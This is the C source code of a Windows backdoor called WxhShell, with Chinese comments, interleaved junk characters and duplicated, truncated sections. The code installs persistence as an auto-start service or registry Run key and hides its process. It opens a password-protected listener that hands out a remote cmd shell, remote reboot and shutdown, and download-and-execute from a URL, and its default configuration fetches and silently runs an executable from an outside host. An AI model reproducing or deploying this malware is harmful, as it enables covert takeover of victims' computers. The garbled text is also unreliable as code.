?#4+r_dP if(NULL == hInst ) return 0; bKYY{V55 AvZXRN1:' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *7\W=- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %njOX#.w NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :ezA+=ENg DX|uHbGg if (!NtQueryInformationProcess) return 0; pw!@Q?R {n\6BTs hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !2(.$}E if(!hProcess) return 0; ^Ss<X}es- !@( M_Z' if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 77``8, 6!Qknk$ CloseHandle(hProcess); AQ-mE9>P o1U}/y+R\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w.tW=z5 if(hProcess==NULL) return 0; >
9o{(j BjYOfu'~z HMODULE hMod; H;qJH1EdD char procName[255]; )+?HI^-[S unsigned long cbNeeded; _ ~|Q4AJ {-Yee[d<? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {h,_"g\V [1<(VyJ}ye CloseHandle(hProcess); 02,W~+d1 &uPDZ#C- if(strstr(procName,"services")) return 1; // 以服务启动 dnix:'D1 6zuze0ud return 0; // 注册表启动 `y'aH
'EEd } #aa1<-&H =m~ruZ/ // 主模块 M=W
4:H,gx int StartWxhshell(LPSTR lpCmdLine) XYts8}y5 { au}s=ua~i SOCKET wsl; `6P?G|' BOOL val=TRUE; *=TYVM9 int port=0; PzLJ/QER struct sockaddr_in door; {(%~i37 `T=1<Tw c if(wscfg.ws_autoins) Install(); c88_}%h?( KhrFg1| port=atoi(lpCmdLine); rfX=*mjt >zFD$ if(port<=0) port=wscfg.ws_port; n6/f an; ~U9q-/(J/ WSADATA data; ZEqE$: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SAy{YOLtl .wD>Gs{sH[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }Fm\+JOS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z#RuwB+ door.sin_family = AF_INET; &5d\~{; door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7x(v? door.sin_port = htons(port); .D!WO <}cZi4l' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `4skwvS= closesocket(wsl); p=vV4 C: return 1; 'aZASPn[ } S_$nCyaH2 l77'Lne if(listen(wsl,2) == INVALID_SOCKET) { r,0@~;zA closesocket(wsl); 8A!'I<S1 return 1; 2Y$ } :kt/$S^- Wxhshell(wsl); Iqx84 WSACleanup(); L/%Y# )O&z5n7t4s return 0; @gEr+O1K( xvB8YW" } {l@WCR n_}aZB3;U // 以NT服务方式启动 %XR<isn VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~TM>"eB b { -zdmr"CA DWORD status = 0; PV(4$I} DWORD specificError = 0xfffffff; z-I|h~ii hVkO%]? serviceStatus.dwServiceType = SERVICE_WIN32; [Teh*CV serviceStatus.dwCurrentState = SERVICE_START_PENDING; >e/ r2U serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z>p]/Sa serviceStatus.dwWin32ExitCode = 0; ++0rF\& serviceStatus.dwServiceSpecificExitCode = 0; )T/J serviceStatus.dwCheckPoint = 0; Zt_r9xs> serviceStatus.dwWaitHint = 0; &}E:jt} 2qjyFTT hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DLXL!-)z if (hServiceStatusHandle==0) return; 6<PW./rk: f7
wmw2 status = GetLastError(); o[oqPN3$Y if (status!=NO_ERROR) x)$2nonM { }2=hd. . serviceStatus.dwCurrentState = SERVICE_STOPPED; !vVT]k[N serviceStatus.dwCheckPoint = 0; WGPD8. serviceStatus.dwWaitHint = 0; J)KnE2dw5 serviceStatus.dwWin32ExitCode = status; ;Gh>44UM[ serviceStatus.dwServiceSpecificExitCode = specificError; {:$NfW SetServiceStatus(hServiceStatusHandle, &serviceStatus); XfDX:b1p return; M9DgO4xl } ?M~
k$ S eOy7 serviceStatus.dwCurrentState = SERVICE_RUNNING; D7gHE serviceStatus.dwCheckPoint = 0; ,\x$q' serviceStatus.dwWaitHint = 0; tpZ->)1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wj tft% } 4kh8W~i;/ =+\$e1Mb* // 处理NT服务事件,比如:启动、停止 O+b6lg)q VOID WINAPI NTServiceHandler(DWORD fdwControl) AOAO8%|I { \OY}GRKt switch(fdwControl) ol }`Wwy { .6Fsw
case SERVICE_CONTROL_STOP: fM2^MUp[=1 serviceStatus.dwWin32ExitCode = 0; wV>c" J serviceStatus.dwCurrentState = SERVICE_STOPPED; YXRjx.srf serviceStatus.dwCheckPoint = 0; WL:0R>0 serviceStatus.dwWaitHint = 0; ~
aA;<# { t#~XLCE SetServiceStatus(hServiceStatusHandle, &serviceStatus); _*n)mlLln } e=L*&X return; \XDmK case SERVICE_CONTROL_PAUSE: [8z&-'J= serviceStatus.dwCurrentState = SERVICE_PAUSED; cJ/4Gl break; Yt*vqm[WV case SERVICE_CONTROL_CONTINUE: 4DM*^=9E serviceStatus.dwCurrentState = SERVICE_RUNNING; d- kZt@DL= break; rs_h}+6"s case SERVICE_CONTROL_INTERROGATE: Pk:zfC?4 break; ^vaL8+ }; 5k~\or 5_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); m9!DOL1pl } A_F0\ EN* }*Zo6{B- // 标准应用程序主函数 - wWRm int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~bGC/I;W> { %6HX*_Mr& ?;RD u[eD // 获取操作系统版本 ^RDU
p5,T OsIsNt=GetOsVer(); _D
JCsK| GetModuleFileName(NULL,ExeFile,MAX_PATH); E-F5y WUY,. 8 // 从命令行安装 RY<%'\A`~ if(strpbrk(lpCmdLine,"iI")) Install(); }hq^+fC? Y/D-V // 下载执行文件 HU9p!I. if(wscfg.ws_downexe) { `x2,;h!:)N if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) & g$rrpTzv WinExec(wscfg.ws_filenam,SW_HIDE); 73)Ll"( } ZPvf-PqJl CW;m if(!OsIsNt) { sUV>@UMnu // 如果时win9x,隐藏进程并且设置为注册表启动 0Z8/R HideProc(); )cKj iXn StartWxhshell(lpCmdLine); }DHUTP2;yz } y@aKNWy}$ else K:a3+k d if(StartFromService()) +f$Z-U1H/ // 以服务方式启动 ^Et,TF\ StartServiceCtrlDispatcher(DispatchTable); 8W$L:{ez else H `5Ct // 普通方式启动 x=vK
EyS@ StartWxhshell(lpCmdLine); BUDGyl/= 70=(.[^+ return 0; M}KZG'7 } ?S9Nm~vlt ;h9W\Se z{/LX
\ )mG0g@ qOK =========================================== )ji@k(x27q 6Hl<,(vn o?y"]RCM :~erh}~ps gCL{Cw <r3Jf}%tT " W #47Cz y+RRg[6| #include <stdio.h> 69iM0X!'u #include <string.h> xl9(ze #include <windows.h> OGGSS&5tw #include <winsock2.h> 1OP"5f #include <winsvc.h> k:mlt: #include <urlmon.h> ]LVnt-q Z)5klg$c #pragma comment (lib, "Ws2_32.lib") .jaZ|nN8` #pragma comment (lib, "urlmon.lib") >3!DOv LyV#j>gD #define MAX_USER 100 // 最大客户端连接数 *F|+2?a:$ #define BUF_SOCK 200 // sock buffer RAwk7F3qn #define KEY_BUFF 255 // 输入 buffer nzWQQra|? NnP.k7m) #define REBOOT 0 // 重启 |
+fwvi&a #define SHUTDOWN 1 // 关机 pND48 g; )vQNiik# #define DEF_PORT 5000 // 监听端口 aP_3C_ -[Y:?lA #define REG_LEN 16 // 注册表键长度 ?yf_Dt #define SVC_LEN 80 // NT服务名长度 =E1tgrW {KsVK4\r // 从dll定义API QY6O(= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yw1Y-M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @7 -D7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V(DjF=8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hg4J2m V_lGj // wxhshell配置信息 cCk1'D|X[e struct WSCFG { pagC(F int ws_port; // 监听端口 8:<1|]] char ws_passstr[REG_LEN]; // 口令 jzQ I>u int ws_autoins; // 安装标记, 1=yes 0=no ;AltNGcM char ws_regname[REG_LEN]; // 注册表键名 [NjajA~z>F char ws_svcname[REG_LEN]; // 服务名 WkP|4&-< char ws_svcdisp[SVC_LEN]; // 服务显示名 9\:w8M X' char ws_svcdesc[SVC_LEN]; // 服务描述信息 DP0Z*8Ia char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3<3t;&e int ws_downexe; // 下载执行标记, 1=yes 0=no Z@u ;Z[@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]o `4Z" char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?`"<DH~:0B Bu':2"7 }; TG?fUD V C`pan /t // default Wxhshell configuration =O,e97 struct WSCFG wscfg={DEF_PORT, gkLr]zv "xuhuanlingzhe", oW8;^u 1, f@L\E>t "Wxhshell", =@%MV( "Wxhshell", TD%WJ9K\ "WxhShell Service", Fos1WH?\ "Wrsky Windows CmdShell Service", 1&} G+y "Please Input Your Password: ", ONNW.xHp 1, 'h k @>" "http://www.wrsky.com/wxhshell.exe", .C6gl]6y@ "Wxhshell.exe" 9 #:ue@) }; q4 $sc_0i NXi,5 // 消息定义模块 IN>TsTo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N]*!8 char *msg_ws_prompt="\n\r? for help\n\r#>";
Re{ej char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^,>}%1\ char *msg_ws_ext="\n\rExit."; (KZUvsS k char *msg_ws_end="\n\rQuit."; )2/b$i,JKk char *msg_ws_boot="\n\rReboot..."; %$^$'6\77 char *msg_ws_poff="\n\rShutdown..."; >[hrJn[ char *msg_ws_down="\n\rSave to "; g*^wF?t'T uz8nRS s char *msg_ws_err="\n\rErr!"; %bN"bxv^ char *msg_ws_ok="\n\rOK!"; UX?X]ZYVR "1AjCHZ char ExeFile[MAX_PATH]; :3:)E int nUser = 0; =\*S'Ded HANDLE handles[MAX_USER]; POkXd^pI int OsIsNt; /oB K&r[( hY)YX,f=S SERVICE_STATUS serviceStatus; h@EJTAi SERVICE_STATUS_HANDLE hServiceStatusHandle; :LG}yq^ s8C:QC // 函数声明 N IO; int Install(void); bXk:~LE int Uninstall(void); zR_9D} int DownloadFile(char *sURL, SOCKET wsh); 9[B<rz int Boot(int flag); u)wu=z8 void HideProc(void); @:I\\S@bN int GetOsVer(void); j@s=ER int Wxhshell(SOCKET wsl); \t[
hg void TalkWithClient(void *cs); "~B~{ _<j int CmdShell(SOCKET sock); 9*"[pt+tA int StartFromService(void); <#:Ebofsn int StartWxhshell(LPSTR lpCmdLine);
zgZi ~]jx+6k] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -<u-
+CbuT VOID WINAPI NTServiceHandler( DWORD fdwControl ); o<9yaQ; iG?w; // 数据结构和表定义 |E>v~qD8I SERVICE_TABLE_ENTRY DispatchTable[] = }?\#_BCjx( { >^2ZM {wscfg.ws_svcname, NTServiceMain}, Ih9O Rp7 {NULL, NULL} T<w*dX7F0K }; h Kp,4D>2_ w-{#6/<kI5 // 自我安装 `Pz!SJ| int Install(void) "H/2r]?GT { Qr^Z~$i t char svExeFile[MAX_PATH]; GFSlYG HKEY key; d|D'&&&c strcpy(svExeFile,ExeFile); A,-[/Z K/ sYW1T @ // 如果是win9x系统,修改注册表设为自启动 dK-
^ if(!OsIsNt) { R(n0!h4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }kgjLaQ^N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `"^@[1 RegCloseKey(key); 59"Nn\}3gE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S|z( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;'Z,[ a RegCloseKey(key); =]2RC1#}e return 0; W? 6 } Xm0&U?dZB } ZipK;!9by } 9phD5b~j else { ps{&WT3a iYmzk?U // 如果是NT以上系统,安装为系统服务 hCOy\[2$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *n$m;yI if (schSCManager!=0) qU
/Wg { ux/[d6To SC_HANDLE schService = CreateService hoSU`X ( M7cI$=G schSCManager, A{n*NxKCX! wscfg.ws_svcname, D3ZT'' wscfg.ws_svcdisp, (0+ GLI8 SERVICE_ALL_ACCESS, z?b(|f\! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d/-]y:`f` SERVICE_AUTO_START,
!]jNVg SERVICE_ERROR_NORMAL, Br.$L svExeFile, +lf@O&w NULL, S|u1QGB NULL, _,-M8=dL%* NULL, O<H@:W#k NULL, XH Zu>[ NULL yI)RGOV ); 5GWM
)vrZg if (schService!=0) ?U.&7yY { {u[K
^G CloseServiceHandle(schService); ~?8x0 CloseServiceHandle(schSCManager); h}VYA\+<B strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S r#fyr strcat(svExeFile,wscfg.ws_svcname); 4@V <Suw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iRr&'k
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v.8S
V] RegCloseKey(key); `a1R "A return 0; q'8@0FT0 } rQQPs\o } !E.lyz CloseServiceHandle(schSCManager); (k HQKQmq } #L*@~M^] } H f mMf^c BrH`:Dw return 1; }Us$y0W\ } @snLE?g j x`|tT%q@l // 自我卸载 J$ih|nP int Uninstall(void) +`vZg^_c` { qZ]VS/5A HKEY key; /
)u,Oa 0dX= if(!OsIsNt) { (R
2P<
Zr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y
Z2VP RegDeleteValue(key,wscfg.ws_regname); j!8+|eAkk RegCloseKey(key); {,mRMDEy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v}*u[GWl] RegDeleteValue(key,wscfg.ws_regname); N)I
T? RegCloseKey(key); PHL@1K{) return 0; kp>Z /kt } oP`M\KXau } o%JIJ7M } (w:ACJ[[ else { O?J:+L( M{kh=b)V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2]3Jb{8FI> if (schSCManager!=0) JGNxJ S<] { pxnUe1= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7;-i_&vws if (schService!=0) qN,FX#DP { vgp%;-p( if(DeleteService(schService)!=0) { CH+& CloseServiceHandle(schService); "9T`3cM0 CloseServiceHandle(schSCManager); U4I` xw' return 0; Oqe.t;E 0} } >u#VHaB CloseServiceHandle(schService); r%mTOLef } ^3s&90 CloseServiceHandle(schSCManager); pC.T)k } : )*Ge3 } h9smviU7u J#Ehx| return 1; bvRGTOxO } >"{zrwNq YqCK#zT/ // 从指定url下载文件 *xVAm7_v int DownloadFile(char *sURL, SOCKET wsh) |(ju!& { "LaX_0t) HRESULT hr; H 1X]tw. char seps[]= "/"; 54DR .>O char *token; 9F1stT0G% char *file; |VEAzY|[# char myURL[MAX_PATH]; 2/q=l? char myFILE[MAX_PATH]; ]<z(Rmn`Q ffd3QQ strcpy(myURL,sURL); ]c=1-Rl token=strtok(myURL,seps); 0BD((oNg while(token!=NULL) O;t?@!_ { 9+Hb` file=token; ~*]`XL.- token=strtok(NULL,seps); tBUQf*B } t"vO&+x Z6@J-<u GetCurrentDirectory(MAX_PATH,myFILE); 'yjH~F. strcat(myFILE, "\\"); QNwAuH T strcat(myFILE, file); r:rJv send(wsh,myFILE,strlen(myFILE),0); fzG1<Gem send(wsh,"...",3,0); ]H7Mx\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /\I%)B47^9 if(hr==S_OK) l#.,wOO{ return 0; RteTz_z{ else |CqJ2 return 1; shvcc $s!meg@s } 2/N*Uk 0 jn Y3G // 系统电源模块 Z-!T(:E] int Boot(int flag) xmx;tq { 4x=Y9w0?8 HANDLE hToken; x^skoz TOKEN_PRIVILEGES tkp; _\;#a cBf{R^>Fd if(OsIsNt) { Xe+FMbBco OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?{")Wt LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3mz>Y*^?0 tkp.PrivilegeCount = 1; YcZ4y@6" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y\\nJuJo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E NjD~ S if(flag==REBOOT) { a[ l5k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b<7qmg3 return 0; X+@,vCC } A@'W $p?5r else { y@JYkp>I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1`\kXaG return 0; z59J=?| } 7?] p\` } ob
#XKL else { FR"^?z?}p if(flag==REBOOT) { Xy}S}9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $c47cJO)W return 0; OG`Oi^2 } "r+<=JU>OV else { "ukbqdKD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D*,H%xA return 0; J< M;vB) } tn1aH
+
} WQL`;uIX h]P$L> return 1; mX_`rvYII } jXZNr DBDfBb // win9x进程隐藏模块 4/|=0TC; void HideProc(void) UMaKvr-C& { KW<CU' Um<vsR HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -Ma"V if ( hKernel != NULL ) tEs$+b { ZeZwzH)BD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =T]OYk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ")OLmkC FreeLibrary(hKernel); $ 1ZY
Vw } ]"6<"1) gId+hxFa:r return; }Jfo(j } ?#m5$CFp .YRSd // 获取操作系统版本 (6{
VMQ int GetOsVer(void) P+UK@~D+G { cj
*4XYu OSVERSIONINFO winfo; ,YTIYG]( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p2K9R4 GetVersionEx(&winfo); gKCIfxM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "Wp<^s sMo return 1; Le!I-i(aD else < r~Tj
return 0; e hq6.+l } }o4Cd$,8 M<Mr (z // 客户端句柄模块 kn\>ZgU int Wxhshell(SOCKET wsl) Y')+/<Q2E { b'YbHUyu SOCKET wsh; M&dtXG8<^ struct sockaddr_in client; *gn*S3Is[j DWORD myID; W%ud nJ _?ZT[t<
while(nUser<MAX_USER) tDo0Q/` { =F4} int nSize=sizeof(client); 1F|+4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UsTPNQj if(wsh==INVALID_SOCKET) return 1;
/rW{rf^ <4g^c& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 85mQHZ8aR if(handles[nUser]==0) j^.P=; closesocket(wsh); %`'VXR?`h= else RAC-;~$WB nUser++; ./d ( @@ } ?x@khzk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !MC Wt ]O."M"B return 0; @w0[5ZAj } Ou^dI w3@te\ // 关闭 socket x-<dJ}` void CloseIt(SOCKET wsh) qJ@?[|2R { $H^6I8> closesocket(wsh); sq_:U_tJ nUser--; pP @#|T ExitThread(0); d\v _!7 } r!S iR( o2~x'*A0I // 客户端请求句柄 Gm.hBNgp void TalkWithClient(void *cs) (`xc3-, { qU}DOL| CS/-:>s% SOCKET wsh=(SOCKET)cs; =%L^!//c char pwd[SVC_LEN]; d,77L char cmd[KEY_BUFF]; O,cx9N char chr[1]; ($wYawz int i,j; ;IT^SHym #d~"bn q;c while (nUser < MAX_USER) { zkMQ=,[ m"*:XfOL if(wscfg.ws_passstr) { RY'y%6Z]ZO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oZ}e
w!V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g:Dg?_o //ZeroMemory(pwd,KEY_BUFF); OjN]mp-q i=0; jnTl%aQYc while(i<SVC_LEN) { n>HN py Vr*t~M> // 设置超时 1}6pq2 fd_set FdRead; -cKR15 struct timeval TimeOut; vzw\f FD_ZERO(&FdRead); K +~ FD_SET(wsh,&FdRead); ;VuIQ*@m" TimeOut.tv_sec=8; i"'k|TGW^ TimeOut.tv_usec=0; N ]duv~JS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1jL?z6S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1pV"<,t R/#*~tPi8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MWl@smRh pwd=chr[0]; tT 7$2 9 if(chr[0]==0xd || chr[0]==0xa) { iB?@(10}ES pwd=0; Bg`b*(Q break; 78%2#;;G } (:\hor% i++; 6-3l6q } \;3r L,WKL. // 如果是非法用户,关闭 socket =4zsAa if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HiC\U%We } ,'!&Z * `#R$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r#XDgZtI send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); & zG= ;[xDc>&("Q while(1) { )"1D-Bc\Q
<ygO?m{ ZeroMemory(cmd,KEY_BUFF); "CaVT7L O/k4W# // 自动支持客户端 telnet标准 x!< C0N>?z j=0; t3M/ThIE while(j<KEY_BUFF) { ,Xn%-OT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ESO(~X+ cmd[j]=chr[0]; IQM!dC if(chr[0]==0xa || chr[0]==0xd) { Cxh9rUe. cmd[j]=0; V><P` break; y?rsfIth` } O^f@ g l j++; &]euN~y } g9gyWz b ,cvQD // 下载文件 L$b9|j7 if(strstr(cmd,"http://")) { !O5UE send(wsh,msg_ws_down,strlen(msg_ws_down),0); .,c8cq? if(DownloadFile(cmd,wsh)) ;7hf'k send(wsh,msg_ws_err,strlen(msg_ws_err),0); rdK.*oT else PQfx0n, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *) wp } H`y- "L8q else { p?}Rolk7 j#*K[ switch(cmd[0]) { +?c&Gazi zYep
V // 帮助 TqlUe@E case '?': { +@!9&5SA send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /
g&mDYV| break; I@hC$o } :g,r l\S7 // 安装 toQn]MT case 'i': { o6q Qzk if(Install()) =Xp3UNXg send(wsh,msg_ws_err,strlen(msg_ws_err),0); #[A/zH|xvV else |m=@;B| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6G(k{S break; "u%$`* } 7
724,+2N // 卸载 |BXq8Erh case 'r': { 0{j>u` if(Uninstall()) ZQyT$l~b send(wsh,msg_ws_err,strlen(msg_ws_err),0); R ~cc]kp0 else 3*FktXmI} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1D*eu break; , vky } f6m^pbQFl // 显示 wxhshell 所在路径 cJqPcCq(wn case 'p': { @p!["v& char svExeFile[MAX_PATH]; }x%"Oq|2]x strcpy(svExeFile,"\n\r"); 5[GX strcat(svExeFile,ExeFile); ^wX_@?aKtt send(wsh,svExeFile,strlen(svExeFile),0); r}vrE
^Q break; Pd3t~1TaW } N8KHNTb-M // 重启 *kDXx&7B$ case 'b': { uZqo" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x$Lt?' if(Boot(REBOOT)) qOng?(I send(wsh,msg_ws_err,strlen(msg_ws_err),0); /knt5 else { 4gYP .h:, closesocket(wsh); ?56Zw"89 ExitThread(0); \O^=
Z{3y } 6!bf,T] break; t rHj7Nw } i1/FNem // 关机 K46mE case 'd': { QJv,@@mu send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B a Xzz if(Boot(SHUTDOWN)) r"0nUf*og: send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tp9LBF else { B[k"xs closesocket(wsh); @]OI(B ExitThread(0); {t9U]hX%A[ } )Dv"seH. break; 6/GhQ/T%D } '2%hc\P6P // 获取shell _/KW5 case 's': { vK6bpzI
3 CmdShell(wsh); OnG!5b closesocket(wsh); ag] nVE/ ExitThread(0); R
z[- break; ~M <4HC } 7C&`i}/t // 退出 #!<x|N?_< case 'x': { [7$<sN<' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s cn!, CloseIt(wsh); ^6Xi o6W break; `RjcJ?r } H-I*; // 离开 Ue8_Q8q5 case 'q': { ; I=z send(wsh,msg_ws_end,strlen(msg_ws_end),0); E
fqa*,k closesocket(wsh); ,,@_r&f: WSACleanup(); ka]n+"~==\ exit(1); y{kXd1, break; (2%C%#]8 } O*jNeYA } p4t(xm2T } | WDX@Q
#8[,w.X // 提示信息 %,>,J` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |FKo}>4 } v}iJ:' } /Fk0j_b 'W$qi@f_s return; (L~3nN;rr } NeNKOW#X X_=oJi|: // shell模块句柄 +[z(N int CmdShell(SOCKET sock) jP+4'O!s[ { ;&[0 h) STARTUPINFO si; "b2Mk-qP ZeroMemory(&si,sizeof(si)); ytJ |jgp' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ==IL63 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $bD!./fl PROCESS_INFORMATION ProcessInfo; [J:vSt char cmdline[]="cmd"; !WbQ`]uN/# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Th"7p:SE? return 0; r"rEVx#1= } ,E/vHI8 !CEF@J // 自身启动模式 xv1$,|^ts int StartFromService(void) $'e.bh { QO|ODW+D typedef struct <01MXT- { az`5{hK DWORD ExitStatus; 15 SIZ:Q DWORD PebBaseAddress; CIV6Qe"< DWORD AffinityMask; '"I"D9;9 DWORD BasePriority; O1/!)E! ULONG UniqueProcessId; @^`-VF ULONG InheritedFromUniqueProcessId; /ZD/!YD&R } PROCESS_BASIC_INFORMATION; ay4|N!ExO 5nEvnnx0 PROCNTQSIP NtQueryInformationProcess; slw^BK3t ~-.q<8
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !hJ%{. static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p|W:;( rNI3_|a HANDLE hProcess; 4
9#I PROCESS_BASIC_INFORMATION pbi; aHb,4 wY sYXVSNonm HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J|3CG;+ if(NULL == hInst ) return 0; bEPXNN s'/ug g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 64zO%F* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D4`7,JC}< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vlE#z $|AvT;4 if (!NtQueryInformationProcess) return 0; O:D`6U+0 ULsz<Hj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~PS%^zxyn if(!hProcess) return 0; Oi7:J>
[ M8
++JI if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F2+lwyc Y NH|v`rO CloseHandle(hProcess); ysvn*9h+& >2N`l hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <$ '#@jW if(hProcess==NULL) return 0; b}[{' F7=a|g HMODULE hMod; mB_ba1r char procName[255]; W;j*lII unsigned long cbNeeded; q E(`@G @ /c{gD if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `SOaQ|H
